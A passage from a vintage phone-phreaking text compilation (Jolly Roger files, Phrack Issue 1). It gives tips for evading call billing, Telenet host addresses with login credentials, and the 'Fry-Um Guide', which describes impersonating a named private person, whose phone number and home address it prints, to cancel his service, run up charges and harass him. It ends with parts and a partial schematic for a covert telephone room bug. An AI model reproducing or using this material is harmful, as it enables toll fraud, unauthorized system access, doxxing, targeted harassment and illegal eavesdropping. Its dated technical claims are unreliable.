  15911.  
  15912.   WHAT FIDDLING MEANS IS THAT THE ENGINEERS REWIRED THE EXCHANGES FOR THEIR OWN
  15913. BENEFIT.  THE EQUIPMENT IS MODIFIED TO GIVE ACCESS TO A TRUNK WITH OUT BEING
  15914. CHARGED, AN OPERATION WHICH IS PRETTY EASY IN STEP BY STEP (SXS)
  15915. ELECTROMECHANICAL EXCHANGES, WHICH WERE INSTALLED IN BRITAIN EVEN IN THE 1970S
  15916. (NOTE:  I KNOW OF A BACK DOOR INTO THE CANADIAN SYSTEM ON A 4A CO., SO IF YOU
  15917. ARE ON SXS OR A 4A, TRY SCANNING 3 DIGIT EXCHANGES, IE:  DIAL 999,998,997
  15918. ETC.#AND LISTEN FOR THE BEEP-KERCHINK, IF THERE ARE NO 3 DIGIT CODES WHICH
  15919. ALLOW DIRECT ACCESS TO A TANDEM IN YOUR LOCAL EXCHANGE AND BYPASSES THE AMA SO
  15920. YOU WON'T BE BILLED, NOT HAVE TO BLAST 2600 EVERY TIME YOU WISH TO BOX A CALL.
  15921.  
  15922.   A FAMOUS BRITISH 'FIDDLER' REVEALED IN THE EARLY 1970S WORKED BY DIALING 173.
  15923. THE CALLER THEN ADDED THE TRUNK CODE OF 1 AND THE SUBSCRIBERS LOCAL NUMBER.  AT
  15924. THAT TIME, MOST ENGINEERING TEST SERVICES BEGAN WITH 17X, SO THE ENGINEERS
  15925. COULD HIDE THEIR FIDDLES IN THE NEST OF SERVICE WIRES.  WHEN SECURITY REPS
  15926. STARTED SEARCHING, THE FIDDLES WERE CONCEALED BY TONES SIGNALLING:  'NUMBER
  15927. UNOBTAINALBE' OR 'EQUIPMENT ENGAGED' WHICH SWITCHED OFF AFTER A DELAY.  THE
  15928. NECESSARY RELAYS ARE SMALL AND EASILY HIDDEN.
  15929.  
  15930.   THERE WAS ANOTHER SIDE TO PHREAKING IN THE UK IN THE SIXTIES. BEFORE STD WAS
  15931. WIDESPREAD, MANY 'ORDINARY' PEOPLE WERE DRIVEN TO.
  15932.  
  15933. OCCASIONAL PHREAKING FROM SHEER FRUSTRATION AT THE INEFFICIENT OPERATOR
  15934. CONTROLLED TRUNK SYSTEM.  THIS CAME TO A HEAD DURING A STRIKE ABOUT 1961 WHEN
  15935. OPERATORS COULD NOT BE REACHED.  NOTHING COMPLICATED WAS NEEDED.  MANY
  15936. OPERATORS HAD BEEN IN THE HABIT OF REPEATING THE CODES AS THEY DIALLED THE
  15937. REQUESTED NUMBERS SO PEOPLE SOON LEARNT THE NUMBERS THEY CALLED FREQUENTLY.
  15938. THE ONLY 'TRICK' WAS TO KNOW WHICH EXCHANGES COULD BE DIALLED THROUGH TO PASS
  15939. ON THE TRUNK NUMBER.CALLERS ALSO NEEDED A PRETTY QUIET PLACE TO DO IT, SINCE
  15940. TIMING RELATIVE TO CLICKS WAS IMPORTANT THE MOST FAMOUS TRIAL OF BRITISH
  15941. PHREAKS WAS CALLED THE OLD BAILY TRIAL.#WHICH STARTED ON 3 OCT.  1973.#WHAT
  15942. THEY PHREAKS DID WAS TO DIAL A SPARE NUMBER AT A LOCAL CALL RATE BUT INVOLVING
  15943. A TRUNK TO ANOTHER EXCHANGE THEN THEY SEND A 'CLEAR FORWARD' TO THEIR LOCAL
  15944. EXCHANGE, INDICATING TO IT THAT THE CALL IS FINISHED;BUT THE DISTANT EXCHANGE
  15945. DOESN'T REALIZE BECAUSE THE CALLER'S PHONE IS STILL OFF THE HOOK.  THEY NOW
  15946. HAVE AN OPEN LINE INTO THE DISTANT TRUNK EXCHANGE AND SENDS TO IT A 'SEIZE'
  15947. SIGNAL:  '1' WHICH PUTS HIM ONTO ITS OUTGOING LINES NOW, IF THEY KNOW THE
  15948. CODES, THE WORLD IS OPEN TO THEM.  ALL OTHER EXCHANGES TRUST HIS LOCAL EXCHANGE
  15949. TO HANDLE THE BILLING; THEY JUST INTERPRET THE TONES THEY HEAR.  MEAN WHILE,
  15950. THE LOCAL EXCHANGE COLLECTS ONLY FOR A LOCAL CALL.  THE INVESTIGATORS
  15951. DISCOVERED THE PHREAKS HOLDING A CONFERENCE SOMEWHERE IN ENGLAND SURROUNDED BY
  15952. VARIOUS PHONE EQUIPMENT AND BLEEPER BOXES, ALSO PRINTOUTS LISTING 'SECRET' POST
  15953. OFFICE CODES.  (THEY PROBABLY GOT THEM FROM TRASHING?) THE JUDGE SAID:  "SOME
  15954. TAKE TO HEROIN, SOME TAKE TO TELEPHONES" FOR THEM PHONE PHREAKING WAS NOT A
  15955. CRIME BUT A HOBBY TO BE SHARED WITH PHELLOW ENTHUSIASTS AND DISCUSSED WITH THE
  15956. POST OFFICE OPENLY OVER DINNER AND BY MAIL.  THEIR APPROACH AND ATTITUDE TO THE
  15957. WORLDS LARGEST COMPUTER, THE GLOBAL TELEPHONE SYSTEM, WAS THAT OF SCIENTISTS
  15958. CONDUCTING EXPERIMENTS OR PROGRAMMERS AND ENGINEERS TESTING PROGRAMS AND
  15959. SYSTEMS.  THE JUDGE APPEARED TO AGREE, AND EVEN ASKED THEM FOR PHREAKING CODES
  15960. TO USE FROM HIS LOCAL EXCHANGE!!!
  15961.  
  15962.                     (Left Untouched as I got it...-----JR)
  15963.  
  15964.  
  15965.  
  15966.                 -------->Courtesy of The Jolly Roger<--------
  15967.          
  15968.                                Bad as Shit
  15969.  
  15970.    Recently, a telephone fanatic in the  northwest made an interesting
  15971. discovery.  He was exploring the 804 area code (Virginia) and found out that
  15972. the 840 exchange did something strange.
  15973.   In the vast majority of cases, in fact in all of the cases except one, he
  15974. would get a recording as if the exchange didn't exist. However, if he dialed
  15975. 804-840 and four rather predictable numbers, he got a ring!
  15976.  
  15977.    After one or two rings, somebody picked up.  Being experienced at this kind
  15978. of thing, he could tell that the call didn't "supe", that is, no charges were
  15979. being incurred for calling this number.
  15980.   (Calls that get you to an error message, or a special operator, generally
  15981. don't supervise.)  A female voice, with a hint of a Southern accent said,
  15982. "Operator, can I help you?"
  15983.  
  15984.    "Yes," he said, "What number have I reached?"
  15985.  
  15986.    "What number did you dial, sir?"
  15987.  
  15988.    He made up a number that was similar.
  15989.  
  15990.    "I'm sorry that is not the number you reached."  Click.
  15991.  
  15992.    He was fascinated.  What in the world was this?  He knew he was going to
  15993. call back, but before he did, he tried some more experiments. He tried the 840
  15994. exchange in several other area codes.  In some, it came up as a valid exchange.
  15995. In others, exactly the same thing happened -- the same last four digits, the
  15996. same Southern belle.  Oddly enough, he later noticed, the areas worked in
  15997. seemed to travel in a beeline from Washington DC to Pittsburgh, PA.
  15998.  
  15999.    He called back from a payphone.  "Operator, can I help you?"
  16000.  
  16001.    "Yes, this is the phone company.  I'm testing this line and we don't seem to
  16002. have an identification on your circuit.  What office is this, please?"
  16003.  
  16004.    "What number are you trying to reach?"
  16005.  
  16006.    "I'm not trying to reach any number.  I'm trying to identify this circuit."
  16007.  
  16008.    "I'm sorry, I can't help you."
  16009.  
  16010.    "Ma'am, if I don't get an ID on this line, I'll have to disconnect it.  We
  16011. show no record of it here."
  16012.  
  16013.    "Hold on a moment, sir."
  16014.  
  16015.    After about a minute, she came back.  "Sir, I can have someone speak to you.
  16016. Would you give me your number, please?"
  16017.  
  16018.    He had anticipated this and he had the payphone number ready. After he gave
  16019. it, she said, "Mr. XXX will get right back to you."
  16020.  
  16021.    "Thanks."  He hung up the phone.  It rang.  INSTANTLY!  "Oh my God," he
  16022. thought, "They weren't asking for my number -- they were confirming it!"
  16023.  
  16024.    "Hello," he said, trying to sound authoritative.
  16025.  
  16026.    "This is Mr. XXX.  Did you just make  an inquiry to my office concerning a
  16027. phone number?"
  16028.  
  16029.    "Yes.  I need an identi--"
  16030.  
  16031.    "What you need is advice.  Don't ever call that number again. Forget you
  16032. ever knew it."
  16033.  
  16034.    At this point our friend got so nervous he just hung up.  He expected to
  16035. hear the phone ring again but it didn't.
  16036.  
  16037.    Over the next few days he racked his brains trying to figure out what the
  16038. number was.  He knew it was something big -- that was pretty certain at this
  16039. point.  It was so big that the number was programmed into every central office
  16040. in the country.  He knew this because if he tried to dial any other number in
  16041. that exchange, he'd get a local error message from his CO, as if the exchange
  16042. didn't exist.
  16043.  
  16044.    It finally came to him.  He had an uncle who worked in a federal agency.  He
  16045. had a feeling that this was government related and if it was, his uncle could
  16046. probably find out what it was.  He asked the next day and his uncle promised to
  16047. look into the matter.
  16048.  
  16049.    The next time he saw his uncle, he noticed a big change in his manner.  He
  16050. was trembling.  "Where did you get that number?!"  he shouted.  "Do you know I
  16051. almost got fired for asking about it?!? They kept wanting to know where I got
  16052. it."
  16053.  
  16054.    Our friend couldn't contain his excitement.  "What is it?" he pleaded.
  16055. "What's the number?!"
  16056.  
  16057. "IT'S THE PRESIDENT'S BOMB SHELTER!"
  16058.  
  16059.    He never called the number after that.  He knew that he could probably cause
  16060. quite a bit of excitement by calling the number and saying something like, "The
  16061. weather's not good in Washington.  We're coming over for a visit."  But our
  16062. friend was smart.  he knew that there were some things that were better off
  16063. unsaid and undone. 
  16064.  
  16065.      (A fucking great story from the Official Phreaker's Guide)
  16066.  
  16067.                          ------------Jolly Roger
  16068.  
  16069.  
  16070. Telenet                                       Courtesy of the Jolly Roger
  16071.  
  16072.  
  16073.   It seems that not many of you know that Telenet is connected to about 80
  16074. computer-networks in the world. No, I don't mean 80 nodes, but 80 networks with
  16075. thousands of unprotected computers. When you call your local Telenet- gateway,
  16076. you can only call those computers which accept reverse-charging- calls.
  16077.   If you want to call computers in foreign countries or computers in USA which
  16078. do not accept R-calls, you need a Telenet-ID. Did you ever notice that you can
  16079. type ID XXXX when being connected to Telenet? You are then asked for the
  16080. password. If you have such a NUI (Network-User-ID) you can call nearly every
  16081. host connected to any computer-network in the world. Here are some examples:
  16082.  
  16083. 026245400090184 :Is a VAX in Germany  (Username: DATEXP and leave mail for
  16084. CHRIS  !!!)
  16085. 0311050500061   :Is the Los Alamos Integrated computing network (One of the
  16086. hosts connected to it is the DNA (Defense Nuclear Agency)!!!)
  16087. 0530197000016   :Is a BBS in New Zealand
  16088. 024050256       :Is the S-E-Bank in Stockholm, Sweden (Login as GAMES !!!)
  16089. 02284681140541  :CERN in Geneva in Switzerland (one of the biggest nuclear
  16090. research centers in the world) Login as GUEST
  16091. 0234212301161   :A Videotex-standard system. Type OPTEL to get in and use the
  16092. ID 999_ with the password 9_
  16093. 0242211000001   :University of Oslo in Norway (Type  LOGIN 17,17  to play the
  16094. Multi-User-Dungeon !)
  16095. 0425130000215   :Something like ITT Dialcom, but this one is in Israel ! ID
  16096. HELP  with password HELP  works fine with security level 3
  16097. 0310600584401   :Is the Washington Post News Service via Tymnet (Yes, Tymnet is
  16098. connected to Telenet, too !)  ID and Password is: PETER You can read the news
  16099. of the next day !
  16100.  
  16101. The prefixes are as follows:
  16102. 02624  is Datex-P in Germany
  16103. 02342  is PSS in England
  16104. 03110  is Telenet in USA
  16105. 03106  is Tymnet in USA
  16106. 02405  is Telepak in Sweden
  16107. 04251  is Isranet in Israel
  16108. 02080  is Transpac in France
  16109. 02284  is Telepac in Switzerland
  16110. 02724  is Eirpac in Ireland
  16111. 02704  is Luxpac in Luxembourg
  16112. 05252  is Telepac in Singapore
  16113. 04408  is Venus-P in Japan
  16114. ...and so on... Some of the countries have more than one
  16115. packet-switching-network (USA has 11, Canada has 3, etc).
  16116.  
  16117. OK. That should be enough for the moment. As you see most of the passwords are
  16118. very simple. This is because they must not have any fear of hackers. Only a few
  16119. German hackers use these networks. Most of the computers are absolutely easy to
  16120. hack !!! So, try to find out some Telenet-ID's and leave them here. If you need
  16121. more numbers, leave e-mail.
  16122. I'm calling from Germany via the German Datex-P network, which is similar to
  16123. Telenet. We have a lot of those NUI's for the German network, but none for a
  16124. special Tymnet-outdial-computer in USA, which connects me to any phone #.
  16125.  
  16126. CUL8R,  Mad Max
  16127.  
  16128. PS: Call 026245621040000 and type ID INF300 with password DATACOM to get more
  16129.  
  16130. Informations on packet-switching-networks !
  16131.  
  16132. PS2: The new password for the Washington Post is KING !!!!
  16133.  
  16134.  
  16135. Fucking with the Operator                    courtesy of the Jolly Roger
  16136.  
  16137.            Ever get an operator who gave you a hard time, and you didn't know
  16138. what to do? Well if the operator hears you use a little Bell jargon, she might
  16139. wise up. Here is a little diagram (excuse the artwork) of the structure of
  16140. operators
  16141.  
  16142. /--------\     /------\     /-----\
  16143. !Operator!-- > ! S.A. ! --->! BOS !
  16144. \--------/     \------/     \-----/
  16145.    !
  16146.    !
  16147.    V
  16148. /-------------\
  16149. ! Group Chief !
  16150. \-------------/
  16151.  
  16152.     Now most of the operators are not bugged, so they can curse at you, if they
  16153. do ask INSTANTLY for the "S.A." or the Service Assistant. The operator does not
  16154. report to her (95% of them are hers) but they will solve most of your problems.
  16155. She MUST give you her name as she connects & all of these calls are bugged. If
  16156. the SA gives you a rough time get her BOS (Business Office Supervisor) on the
  16157. line. S/He will almost always back her girls up, but sometimes the SA will get
  16158. tarred and feathered. The operator reports to the Group Chief, and S/He will
  16159. solve 100% of your problems, but the chances of getting S/He on the line are
  16160. nill.
  16161.     If a lineman (the guy who works out on the poles) or an installation man
  16162. gives you the works ask to speak to the Installation Foreman, that works
  16163. wonders.
  16164.     Here is some other bell jargon, that might come in handy if you are having
  16165. trouble with the line. Or they can be used to lie your way out of
  16166. situations....
  16167.  
  16168.      An Erling is a line busy for 1 hour, used mostly in traffic studies A
  16169. Permanent Signal is that terrible howling you get if you disconnect, but don't
  16170. hang up.
  16171.      Everyone knows what a busy signal is, but some idiots think that is the
  16172. *Actual* ringing of the phone, when it just is a tone "beeps" when the phone is
  16173. ringing, wouldn't bet on this though, it can (and does) get out of sync.
  16174.      When you get a busy signal that is 2 times as fast as the normal one, the
  16175. person you are trying to reach isn't really on the phone, (he might be), it is
  16176. actually the signal that a trunk line somewhere is busy and they haven't or
  16177. can't reroute your call. Sometimes you will get a Recording, or if you get
  16178. nothing at all (Left High & Dry in fone terms) all the recordings are being
  16179. used and the system is really overused, will probably go down in a little
  16180. while. This happened when Kennedy was shot, the system just couldn't handle the
  16181. calls. By the way this is called the "reorder signal" and the trunk line is
  16182. "blocked".
  16183.      One more thing, if an overseas call isn't completed and doesn't generate
  16184. any money for AT&T, is is called an "Air & Water Call".
  16185.  
  16186.  
  16187.  
  16188.                                 ==Phrack Inc.==
  16189.  
  16190.                      Volume One, Issue One, Phile #4 of 8
  16191.  
  16192.                         THE PHONE PHREAK'S FRY-UM GUIDE
  16193.  
  16194.                          COMPILED BY THE IRON SOLDIER
  16195.  
  16196.                             WITH HELP FROM DR. DOVE
  16197.  
  16198.  
  16199. NOTE: THIS GUIDE IS STILL BEING COMPILED, AND AS PHONE PHREAKS LEARN MORE IN
  16200. THE ART OF VENGEANCE IT WILL ALWAYS EXPAND.
  16201.  
  16202.  
  16203. "Vengeance is mine", says the Phreak.
  16204.  
  16205.  
  16206. METHOD 1-PHONE LINE PHUN
  16207.  
  16208. Call up the business office.  It should be listed at the front of the white
  16209. pages.  Say you wanted to disconnect Scott Korman's line. DIAL 800-xxx-xxxx.
  16210.       "Hello, this is Mr. Korman, I'm moving to California and would like to
  16211. have  my phone service disconnected. I'm at the airport now.  I'm calling from
  16212. a payphone, my number is  [414] 445 5005. You can send my final bill to:
  16213. (somewhere in California). Thank you."
  16214.  
  16215.  
  16216. METHOD 2-PHONE BOOKS
  16217.  
  16218. Call up the business office from a pay phone.  Say :
  16219.      "Hello, I'd like to order a Phone Book for Upper Volta (or any out-of-the
  16220. way area with Direct Dialing).  This is Scott Korman, ship to 3119 N. 44th St.
  16221. Milwaukee, WI 53216.  Yes, I under stand it will cost $xx($25-$75!!). Thank
  16222. you."
  16223.  
  16224.  
  16225. METHOD 3-PHONE CALLS
  16226.  
  16227. Call up a PBX, enter the code and get an outside line.  Then dial 0+ the number
  16228. desired to call.  You will hear a bonk and then an operator.  Say, "I'd like to
  16229. charge this to my home phone at 414-445-5005. Thank you."  A friend and I did
  16230. this to a loser, I called him at 1:00 AM and we left the fone off the hook all
  16231. night.  I calculated that it cost him $168.
  16232.  
  16233.  
  16234. METHOD 4-MISC SERVICES
  16235.  
  16236. Call up the business office once again from a payfone.  Say you'd like call
  16237. waiting, forwarding, 3 way, etc.  Once again you are the famed loser Scott
  16238. Korman.  He pays-you laugh.  You don't know how funny it was talking to him,
  16239. and wondering what those clicks he kept hearing were.
  16240.  
  16241.  
  16242. METHOD 5-CHANGED & UNPUB
  16243.  
  16244. Do the same as in #4, but say you'd like to change and unlist your (Scott's)
  16245. number.  Anyone calling him will get:
  16246.  
  16247.     "BEW BEW BEEP.  The number you have reached, 445-5005, has been changed to
  16248. a non-published number.  No further....."
  16249.  
  16250.  
  16251. METHOD 6-FORWRDING
  16252.  
  16253.     This required an accomplice or two or three.  Around Christmas time, go to
  16254. Toys 'R' Us.  Get everyone at the customer service or manager's desk away
  16255. ("Hey, could you help me").  then you get on their phone and dial (usually dial
  16256. 9 first) and the business office again. This time, say you are from Toys 'R'
  16257. Us, and you'd like to add call forwarding to 445-5005.  Scott will get 100-600
  16258. calls a day!!!
  16259.  
  16260.  
  16261. METHOD 7-RUSSIAN CALLER
  16262.  
  16263.     Call a payphone at 10:00 PM.  Say to the operator that you'd like to book a
  16264. call to Russia.  Say you are calling from a payphone, and your number is that
  16265. of the loser to fry (e.g. 445-5005). She will say that she'll have to call ya
  16266. back in 5 hours, and you ok that. Meanwhile the loser (e.g.) Scott, will get a
  16267. call at 3:00 AM from an operator saying that the call he booked to Russia is
  16268. ready.
  16269.  
  16270.  
  16271. IF YOU HAVE ANY QUESTIONS LEAVE E-MAIL FOR ME ON ANY BOARD I'M ON.
  16272. The Iron Soldier
  16273. TSF-The Second Foundation!
  16274.  
  16275.  
  16276.  
  16277. International Country Code Listing            courtesy of the Jolly Roger
  16278.  
  16279.  
  16280. *UNITED KINGDOM/IRELAND
  16281. ------------------------------------
  16282. IRELAND.........................353
  16283. UNITED KINGDOM...................44
  16284.  
  16285. *EUROPE
  16286. ------------------------------------
  16287. ANDORRA..........................33
  16288. AUSTRIA..........................43
  16289. BELGIUM..........................32
  16290. CYPRUS..........................357
  16291. CZECHOLSLOVAKIA..................42
  16292. DENMARK..........................45
  16293. FINLAND.........................358
  16294. FRANCE...........................33
  16295. GERMAN DEMOCRATIC REPUBLIC.......37
  16296. GERMANY, FEDERAL REPUBLIC OF.....49
  16297. GIBRALTAR.......................350
  16298. GREECE...........................30
  16299. HUNGARY..........................36
  16300. ICELAND.........................354
  16301. ITALY............................39
  16302. LIECHTENSTEIN....................41
  16303. LUXEMBOURG......................352
  16304. MONACO...........................33
  16305. NETHERLANDS......................31
  16306. NORWAY...........................47
  16307. POLAND...........................48
  16308. PORTUGAL........................351
  16309. ROMANIA..........................40
  16310. SAN MARINO.......................39
  16311. SPAIN............................34
  16312. SWEDEN...........................46
  16313. SWITZERLAND......................41
  16314. TURKEY...........................90
  16315. VATICAN CITY.....................39
  16316. YUGOSLAVIA.......................38
  16317.  
  16318. *CENTRAL AMERICA
  16319. ------------------------------------
  16320. BELIZE..........................501
  16321. COSTA RICA......................506
  16322. EL SALVADOR.....................503
  16323. GUATEMALA.......................502
  16324. HONDURAS........................504
  16325. NICARAGUA.......................505
  16326. PANAMA..........................507
  16327.  
  16328. *AFRICA
  16329. ------------------------------------
  16330. ALGERIA.........................213
  16331. CAMEROON........................237
  16332. EGYPT............................20
  16333. ETHIOPIA........................251
  16334. GABON...........................241
  16335. IVORY COAST.....................225
  16336. KENYA...........................254
  16337. LESOTHO.........................266
  16338. LIBERIA.........................231
  16339. LIBYA...........................218
  16340. MALAWI..........................265
  16341. MOROCCO.........................212
  16342. NAMIBIA.........................264
  16343. NIGERIA.........................234
  16344. SENEGAL.........................221
  16345. SOUTH AFRICA.....................27
  16346. SWAZILAND.......................268
  16347. TANZANIA........................255
  16348. TUNISIA.........................216
  16349. UGANDA..........................256
  16350. ZAMBIA..........................260
  16351. ZIMBABWE........................263
  16352.  
  16353. *PACIFIC
  16354. ------------------------------------
  16355. AMERICAN SAMOA..................684
  16356. AUSTRAILIA.......................61
  16357. BRUNEI..........................673
  16358. FIJI............................679
  16359. FRENCH POLYNESIA................689
  16360. GUAM............................671
  16361. HONG KONG.......................852
  16362. INDONESIA........................62
  16363. JAPAN............................81
  16364. KOREA, REPUBLIC OF...............82
  16365. MALAYSIA.........................60
  16366. NEW CALEDONIA...................687
  16367. NEW ZEALAND......................64
  16368. PAPUA NEW GUINEA................675
  16369. PHILIPPINES......................63
  16370. SAIPAN..........................670
  16371. SINGAPORE........................65
  16372. TAIWAN..........................886
  16373. THAILAND.........................66
  16374.  
  16375. *INDIAN OCEAN
  16376. ------------------------------------
  16377. PAKISTAN.........................92
  16378. SRI LANKA........................94
  16379.  
  16380. *SOUTH AMERICA
  16381. ------------------------------------
  16382. ARGENTINA........................54
  16383. BOLIVIA.........................591
  16384. BRAZIL...........................55
  16385. CHILE............................56
  16386. COLOMBIA.........................57
  16387. ECUADOR.........................593
  16388. GUYANA..........................592
  16389. PARAGUAY........................595
  16390. PERU.............................51
  16391. SURINAME........................597
  16392. URUGUAY.........................598
  16393. VENEZUELA........................58
  16394.  
  16395. *NEAR EAST
  16396. ------------------------------------
  16397. BAHRAIN.........................973
  16398. IRAN.............................98
  16399. IRAQ............................964
  16400. ISRAEL..........................972
  16401. JORDAN..........................962
  16402. KUWAIT..........................965
  16403. OMAN............................968
  16404. QATAR...........................974
  16405. SAUDI ARABIA....................966
  16406. UNITED ARAB EMIRATES............971
  16407. YEMEN ARAB REPUBLIC.............967
  16408.  
  16409. *CARIBBEAN/ATLANTIC
  16410. ------------------------------------
  16411. FRENCH ANTILLES.................596
  16412. GUANTANAMO BAY (US NAVY BASE)....53
  16413. HAITI...........................509
  16414. NETHERLANDS ANTILLES............599
  16415. ST. PIERRE AND MIQUELON.........508
  16416.  
  16417. *INDIA
  16418. ------------------------------------
  16419. INDIA............................91
  16420.  
  16421. *CANADA
  16422. ------------------------------------
  16423. TO CALL CANADA, DIAL 1 + AREA CODE +
  16424. LOCAL NUMBER.
  16425.  
  16426. *MEXICO
  16427. ------------------------------------
  16428. TO CALL MEXICO, DIAL 011 + 52 + CITY CODE+ LOCAL NUMBER.
  16429.  
  16430.  
  16431. To dial international calls:
  16432.  
  16433. International Access Code + Country code + Routing code
  16434.  
  16435. Example :
  16436.  
  16437. To call Frankfurt, Germany, you would do the following:
  16438.  
  16439. 011 + 49 + 611 + (# wanted) + # sign(octothrope)
  16440.  
  16441. The # sign at the end is to tell Bell that you are done entering in all the
  16442. needed info.
  16443.  
  16444.  
  16445. The Infinity Transmitter                  courtesy of the Jolly Roger
  16446.                                           originally typed by:
  16447.                                                     <<<Ghost Wind>>>
  16448.  
  16449.                          FROM THE BOOK BUILD YOUR OWN
  16450.          LASER, PHASER, ION RAY GUN & OTHER WORKING SPACE-AGE PROJECTS
  16451.                        BY ROBERT IANNINI (TAB BOOKS INC)
  16452.  
  16453. Description:  Briefly, the Infinity Transmitter is a device which activates a
  16454. microphone via a phone call.  It is plugged into the phone line, and when the
  16455. phone rings, it  will immediately intercept the ring and broadcast into the
  16456. phone any sound that is in the room. This device was originally made by
  16457. Information Unlimited, and had a touch tone decoder to prevent all who did not
  16458. know the code from being able to use the phone in its normal way.  This
  16459. version, however, will activate the microphone for anyone who calls while it is
  16460. in operation.
  16461. NOTE:  It is illegal to use this device to try to bug someone. It is also
  16462. pretty stupid because they are fairly noticeable.
  16463. Parts List:
  16464. Pretend that uF means micro Farad, cap= capacitor
  16465.  
  16466. Part           #          Description
  16467. ----           -          -----------
  16468. R1,4,8         3         390 k 1/4 watt resistor
  16469. R2             1         5.6 M 1/4 watt resistor
  16470. R3,5,6         3         6.8 k 1/4 watt resistor
  16471. R7/S1          1         5 k pot/switch
  16472. R9,16          2         100 k 1/4 watt resistor
  16473. R10            1         2.2 k 1/4 watt resistor
  16474. R13,18         2         1 k 1/4 watt resistor
  16475. R14            1         470 ohm 1/4 watt resistor
  16476. R15            1         10 k 1/4 watt resistor
  16477. R17            1         1 M 1/4 watt resistor
  16478. C1             1         .05 uF/25 V disc cap
  16479. C2,3,5,6,7     5         1 uF 50 V electrolytic cap or tant
  16480.                           (preferably non-polarized)
  16481. C4,11,12       3         .01 uF/50 V disc cap
  16482. C8,10          2         100 uF @ 25 V electrolytic cap
  16483. C9             1         5 uF @ 150 V electrolytic cap
  16484. C13            1         10 uF @ 25 V electrolytic cap
  16485. TM1            1         555 timer dip
  16486. A1             1         CA3018 amp array in can
  16487. Q1,2           2         PN2222 npn sil transistor
  16488. Q3             1         D4OD5 npn pwr tab transistor
  16489. D1,2           2         50 V 1 amp react. 1N4002
  16490. T1             1         1.5 k/500 matching transformer
  16491. M1             1         large crystal microphone
  16492. J1             1         Phono jack optional for sense output
  16493. WR3            (24")     #24 red and black hook up wire
  16494. WR4            (24")     #24 black hook up wire
  16495. CL3,4          2         Alligator clips
  16496. CL1,2          2         6" battery snap clips
  16497. PB1            1         1 3/4x4 1/2x.1 perfboard
  16498. CA1            1         5 1/4x3x2 1/8 grey enclosure fab
  16499. WR15           (12")     #24 buss wire
  16500. KN1            1         small plastic knob
  16501. BU1            1         small clamp bushing
  16502. B1,2           2         9 volt transistor battery or 9V ni-cad
  16503.  
  16504. Circuit Operation: Not being the most technical guy in the world, and not being
  16505. very good at electronics (yet),  I'm just repeating what Mr. Iannini's said
  16506. about the circuit operation.  The Transmitter consists of a high grain
  16507. amplifier fed into the telephone lines via transformer.  The circuit is
  16508. initiated by the action  of  a voltage transient pulse occurring across  the
  16509. phone line  at the instant the telephone circuit is made (the ring,  in other
  16510. words).  This transient immediately triggers a timer  whose output  pin  3 goes
  16511. positive, turning on transistors Q2 and  Q3. Timer TM1 now remains in this
  16512. state for a period depending on the values  of R17 and C13 (usually about 10
  16513. seconds for  the  values shown). When Q3 is turned on by the timer, a simulated
  16514. "off hook" condition is created by the switching action of Q3 connecting the
  16515. 500  ohm  winding  of the transformer directly across  the  phone lines.
  16516. Simultaneously, Q2 clamps the ground of A1, amplifier, and Q1, output
  16517. transistor, to the negative return of B1,B2, therefore enabling this amplifier
  16518. section.  Note that B2 is always required by  supplying  quiescent power to TM1
  16519. during  normal conditions. System is off/on controlled by S1 (switch).
  16520.   A  crystal mike picks up the sounds that are fed to  the  first two
  16521. transistors of the A1 array connected as an emitter follower driving the
  16522. remaining  two  transistors  as  cascaded   common emitters. Output of the
  16523. array now drives Q1 capacitively coupled to  the  1500 ohm  winding of  T1.
  16524. R7  controls  the  pick  up sensitivity of the system.
  16525.   Diode  D1  is  forward biased at the instant of  connection  and essentially
  16526. applies a negative pulse at pin 2 of TM1,  initiating the cycle.   D2 clamps
  16527. any high positive pulses.   C9 dc-isolates and desensitizes the circuit. The
  16528. system described should operate when any incoming call is made without ringing
  16529. the phone.
  16530.  
  16531. Schematic Diagram:  Because this is text,  this doesn't look  too hot. Please
  16532. use  a little imagination!  I will hopefully get  a graphics drawing  of  this
  16533. out as soon as I  can  on  a  Fontrix graffile.
  16534.  
  16535. To be able to see what everything is, this character: | should appear as a
  16536. horizontal bar. I did this on a ][e using a ][e 80 column card, so I'm sorry if
  16537. it looks kinda weird to you.
  16538.  
  16539. Symbols:
  16540.  resistor: -/\/\/-            switch: _/ _
  16541.  battery:  -|!|!-             capacitor (electrolytic): -|(-
  16542.  capacitor (disc): -||-                   _    _
  16543.  transistor:(c)  > (e)        Transformer: )||(
  16544.               \_/                          )||(
  16545.                |(b)                       _)||(_
  16546.  diode: |<
  16547.  chip: ._____.
  16548.        !_____! (chips are easy to recognize!)
  16549.  
  16550.  Dots imply a connection between wires. NO DOT, NO CONNECTION.
  16551. ie.:  _!_ means a connection while _|_ means no connection.
  16552. ----------------------------------------------------------------------------
  16553.  
  16554. .________________________to GREEN wire phone line
  16555. |
  16556. | .______________________to RED wire phone line
  16557. | |
  16558. | |     ._________(M1)______________.
  16559. | |     |                           |
  16560. | |     |           R1              |
  16561. | |     !__________/\/\/____________!
  16562. | |     |                          _!_ C1
  16563. | |     |this wire is the amp      ___
  16564. | |     |<=ground                   |                     R2
  16565. | |     |                           !___________________/\/\/_____________.
  16566. | |     |                   ._______!_______.                             |
  16567. | |     !___________________!4      9     11!_____________________________!
  16568. | |     |                   |               |                             |
  16569. | |     !___________________!7            12._____________________________!
  16570. | |     |                   |     A1        |              R3             |
  16571. | |     !___________________!10       ____*8!_______.____/\/\/____________! ^
  16572. | |     |                   |        /      |       |                     | |
  16573. | |     |    C4             |       /       |       \                     |2ma
  16574. | |     !____||______.      |      /        |       /R4                B1 +
  16575. | |     |    ||      |      |     /         |       \                    |!|!
  16576. | |     |     R7     |  C2  |    /          |       /                     |
  16577. | |     !____/\/\/___!__)|__!8*_/           |       |                 S1  |
  16578. | |     |     ^             |              6!_______!           neg<__/.__!
  16579. | |     |     |     C3      |               |       | C5       return     |
  16580. | |     |     !_____|(___.__!3              |       '-|(-|                |
  16581. | |     |                |  |       5      1!____________!                |
  16582. | |     |                \  !_______._______!            |             B2|!|!
  16583. | |     !________.    R8 /          |                    |                +
  16584. | |              |       \          |                    |      R6        |3ma
  16585. | |              |       !__________!____________________|_____/\/\/______! |
  16586. | |              |    R5            |                    |                | v
  16587. | |              !__/\/\/___________|____________________!                |
  16588. | |              |                  |                                     |
  16589. | |              |                  |                                     |
  16590. | |              |               C6 |                                     |
  16591. | |              |             |-)|-'             R9                      |
  16592. | |              |             !_________________/\/\/_______.            |
  16593. | |              |             |                             |            |
  16594. | |              |         Q1 _!_                            |   R10      |
  16595. | |              !____________/ \____________________________!__/\/\/_____!
  16596. | |              |                                           |            |
  16597. | |              |                                           |            |
  16598. | |              |          C8                               |            |
  16599. | |              !__________)|_______________________________|____________!
